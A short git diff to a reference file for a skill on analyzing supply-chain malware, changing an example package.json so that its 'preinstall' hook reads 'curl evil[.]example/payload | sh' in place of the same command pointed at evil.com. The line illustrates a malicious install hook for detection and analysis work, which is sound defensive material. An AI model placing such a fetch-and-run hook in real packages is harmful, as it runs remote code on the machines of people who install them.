diff --git a/skills/analyzing-supply-chain-malware-artifacts/references/api-reference.md b/skills/analyzing-supply-chain-malware-artifacts/references/api-reference.md
index 932dc27d..ce4c9637 100644
--- a/skills/analyzing-supply-chain-malware-artifacts/references/api-reference.md
+++ b/skills/analyzing-supply-chain-malware-artifacts/references/api-reference.md
@@ -77,7 +77,7 @@ cosign verify-blob --signature file.sig --certificate file.crt artifact.tar.gz
 ```json
 {
   "scripts": {
-    "preinstall": "curl evil.com/payload | sh",
+    "preinstall": "curl evil[.]example/payload | sh",
     "postinstall": "node ./install.js",
     "preuninstall": "node cleanup.js"
   }